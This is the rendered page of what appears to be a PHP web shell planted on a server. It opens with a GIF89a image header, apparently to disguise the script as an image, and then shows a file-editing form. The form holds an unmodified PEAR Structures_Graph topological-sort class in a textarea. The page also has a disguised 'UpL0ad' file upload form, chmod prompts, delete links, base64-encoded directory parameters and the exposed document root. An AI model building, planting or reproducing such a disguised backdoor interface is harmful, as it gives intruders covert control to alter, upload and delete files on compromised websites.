GIF89a
?
??????


			





   !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~wnd[SJC;4.'"???!	???!Generated by onlineGIFtools.com?,????
?
????;
<hr>TopologicalSorter.php<form method=post action="?d=L29wdC9lY3AtcGhwODQvbGliL3BocC9TdHJ1Y3R1cmVzL0dyYXBoL01hbmlwdWxhdG9y&f=VG9wb2xvZ2ljYWxTb3J0ZXIucGhw"><input name="f" value="TopologicalSorter.php"><textarea name="t">&lt;?php
/* vim: set expandtab tabstop=4 shiftwidth=4 foldmethod=marker: */
// +-----------------------------------------------------------------------------+
// | Copyright (c) 2003 Srgio Gonalves Carvalho                                |
// +-----------------------------------------------------------------------------+
// | This file is part of Structures_Graph.                                      |
// |                                                                             |
// | Structures_Graph is free software; you can redistribute it and/or modify    |
// | it under the terms of the GNU Lesser General Public License as published by |
// | the Free Software Foundation; either version 2.1 of the License, or         |
// | (at your option) any later version.                                         |
// |                                                                             |
// | Structures_Graph is distributed in the hope that it will be useful,         |
// | but WITHOUT ANY WARRANTY; without even the implied warranty of              |
// | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the               |
// | GNU Lesser General Public License for more details.                         |
// |                                                                             |
// | You should have received a copy of the GNU Lesser General Public License    |
// | along with Structures_Graph; if not, write to the Free Software             |
// | Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA                    |
// | 02111-1307 USA                                                              |
// +-----------------------------------------------------------------------------+
// | Author: Srgio Carvalho &lt;sergio.carvalho@portugalmail.com&gt;                  |
// +-----------------------------------------------------------------------------+
//
/**
 * This file contains the definition of the Structures_Graph_Manipulator_TopologicalSorter class.
 * 
 * @package Structures_Graph
 */

require_once 'PEAR.php';
require_once 'Structures/Graph.php';
require_once 'Structures/Graph/Node.php';
require_once 'Structures/Graph/Manipulator/AcyclicTest.php';

/**
 * The Structures_Graph_Manipulator_TopologicalSorter is a manipulator 
 * which is able to return the set of nodes in a graph, sorted by topological 
 * order.
 *
 * A graph may only be sorted topologically iff it's a DAG. You can test it
 * with the Structures_Graph_Manipulator_AcyclicTest.
 * 
 * @author    Srgio Carvalho &lt;sergio.carvalho@portugalmail.com&gt; 
 * @copyright (c) 2004 by Srgio Carvalho
 * @see       Structures_Graph_Manipulator_AcyclicTest
 * @package   Structures_Graph
 */
class Structures_Graph_Manipulator_TopologicalSorter
{
    /**
     * This is a variant of Structures_Graph::inDegree which does 
     * not count nodes marked as visited.
     *
     * @param object $node Node to check
     *
     * @return integer Number of non-visited nodes that link to this one
     */
    protected static function _nonVisitedInDegree(&amp;$node)
    {
        $result = 0;
        $graphNodes =&amp; $node-&gt;_graph-&gt;getNodes();
        foreach (array_keys($graphNodes) as $key) {
            if ((!$graphNodes[$key]-&gt;getMetadata('topological-sort-visited'))
                &amp;&amp; $graphNodes[$key]-&gt;connectsTo($node)
            ) {
                $result++;
            }
        }
        return $result;
        
    }

    /**
     * Sort implementation
     *
     * @param object $graph Graph to sort
     *
     * @return void
     */
    protected static function _sort(&amp;$graph)
    {
        // Mark every node as not visited
        $nodes =&amp; $graph-&gt;getNodes();
        $nodeKeys = array_keys($nodes);
        $refGenerator = array();
        foreach ($nodeKeys as $key) {
            $refGenerator[] = false;
            $nodes[$key]-&gt;setMetadata(
                'topological-sort-visited',
                $refGenerator[sizeof($refGenerator) - 1]
            );
        }

        // Iteratively peel off leaf nodes
        $topologicalLevel = 0;
        do {
            // Find out which nodes are leafs (excluding visited nodes)
            $leafNodes = array();
            foreach ($nodeKeys as $key) {
                if ((!$nodes[$key]-&gt;getMetadata('topological-sort-visited'))
                    &amp;&amp; static::_nonVisitedInDegree($nodes[$key]) == 0
                ) {
                    $leafNodes[] =&amp; $nodes[$key];
                }
            }
            // Mark leafs as visited
            $refGenerator[] = $topologicalLevel;
            for ($i = sizeof($leafNodes) - 1; $i&gt;=0; $i--) {
                $visited =&amp; $leafNodes[$i]-&gt;getMetadata('topological-sort-visited');
                $visited = true;
                $leafNodes[$i]-&gt;setMetadata('topological-sort-visited', $visited);
                $leafNodes[$i]-&gt;setMetadata(
                    'topological-sort-level',
                    $refGenerator[sizeof($refGenerator) - 1]
                );
            }
            $topologicalLevel++;
        } while (sizeof($leafNodes) &gt; 0);

        // Cleanup visited marks
        foreach ($nodeKeys as $key) {
            $nodes[$key]-&gt;unsetMetadata('topological-sort-visited');
        }
    }

    /**
     * Sort returns the graph's nodes, sorted by topological order. 
     * 
     * The result is an array with as many entries as topological levels.
     * Each entry in this array is an array of nodes within
     * the given topological level.
     *
     * @param object $graph Graph to sort
     *
     * @return array The graph's nodes, sorted by topological order.
     */
    public static function sort(&amp;$graph)
    {
        // We only sort graphs
        if (!is_a($graph, 'Structures_Graph')) {
            return Pear::raiseError(
                'Structures_Graph_Manipulator_TopologicalSorter::sort received'
                . ' an object that is not a Structures_Graph',
                STRUCTURES_GRAPH_ERROR_GENERIC
            );
        }
        if (!Structures_Graph_Manipulator_AcyclicTest::isAcyclic($graph)) {
            return Pear::raiseError(
                'Structures_Graph_Manipulator_TopologicalSorter::sort'
                . ' received an graph that has cycles',
                STRUCTURES_GRAPH_ERROR_GENERIC
            );
        }

        Structures_Graph_Manipulator_TopologicalSorter::_sort($graph);
        $result = array();

        // Fill out result array
        $nodes =&amp; $graph-&gt;getNodes();
        $nodeKeys = array_keys($nodes);
        foreach ($nodeKeys as $key) {
            if (!array_key_exists($nodes[$key]-&gt;getMetadata('topological-sort-level'), $result)) {
                $result[$nodes[$key]-&gt;getMetadata('topological-sort-level')]
                    = array();
            }
            $result[$nodes[$key]-&gt;getMetadata('topological-sort-level')][]
                =&amp; $nodes[$key];
            $nodes[$key]-&gt;unsetMetadata('topological-sort-level');
        }

        return $result;
    }
}
?&gt;
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /opt/ecp-php84/lib/php/Structures/Graph/Manipulator<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L29wdC9lY3AtcGhwODQvbGliL3BocC9TdHJ1Y3R1cmVzL0dyYXBoL01hbmlwdWxhdG9y"/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9lY3AtcGhwODQvbGliL3BocC9TdHJ1Y3R1cmVzL0dyYXBoL01hbmlwdWxhdG9y&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L29wdC9lY3AtcGhwODQvbGliL3BocC9TdHJ1Y3R1cmVzL0dyYXBo"/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9lY3AtcGhwODQvbGliL3BocC9TdHJ1Y3R1cmVzL0dyYXBoL01hbmlwdWxhdG9y&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L29wdC9lY3AtcGhwODQvbGliL3BocC9TdHJ1Y3R1cmVzL0dyYXBoL01hbmlwdWxhdG9y&x=QWN5Y2xpY1Rlc3QucGhw">X</a></td><td><a href="?d=L29wdC9lY3AtcGhwODQvbGliL3BocC9TdHJ1Y3R1cmVzL0dyYXBoL01hbmlwdWxhdG9y&f=QWN5Y2xpY1Rlc3QucGhw"/>AcyclicTest.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9lY3AtcGhwODQvbGliL3BocC9TdHJ1Y3R1cmVzL0dyYXBoL01hbmlwdWxhdG9y&f=QWN5Y2xpY1Rlc3QucGhw&c=`+btoa(c):0" value="0644"></td><td>5761</td></tr><tr><td><a href="?d=L29wdC9lY3AtcGhwODQvbGliL3BocC9TdHJ1Y3R1cmVzL0dyYXBoL01hbmlwdWxhdG9y&x=VG9wb2xvZ2ljYWxTb3J0ZXIucGhw">X</a></td><td><a href="?d=L29wdC9lY3AtcGhwODQvbGliL3BocC9TdHJ1Y3R1cmVzL0dyYXBoL01hbmlwdWxhdG9y&f=VG9wb2xvZ2ljYWxTb3J0ZXIucGhw"/>TopologicalSorter.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9lY3AtcGhwODQvbGliL3BocC9TdHJ1Y3R1cmVzL0dyYXBoL01hbmlwdWxhdG9y&f=VG9wb2xvZ2ljYWxTb3J0ZXIucGhw&c=`+btoa(c):0" value="0644"></td><td>7028</td></tr></table>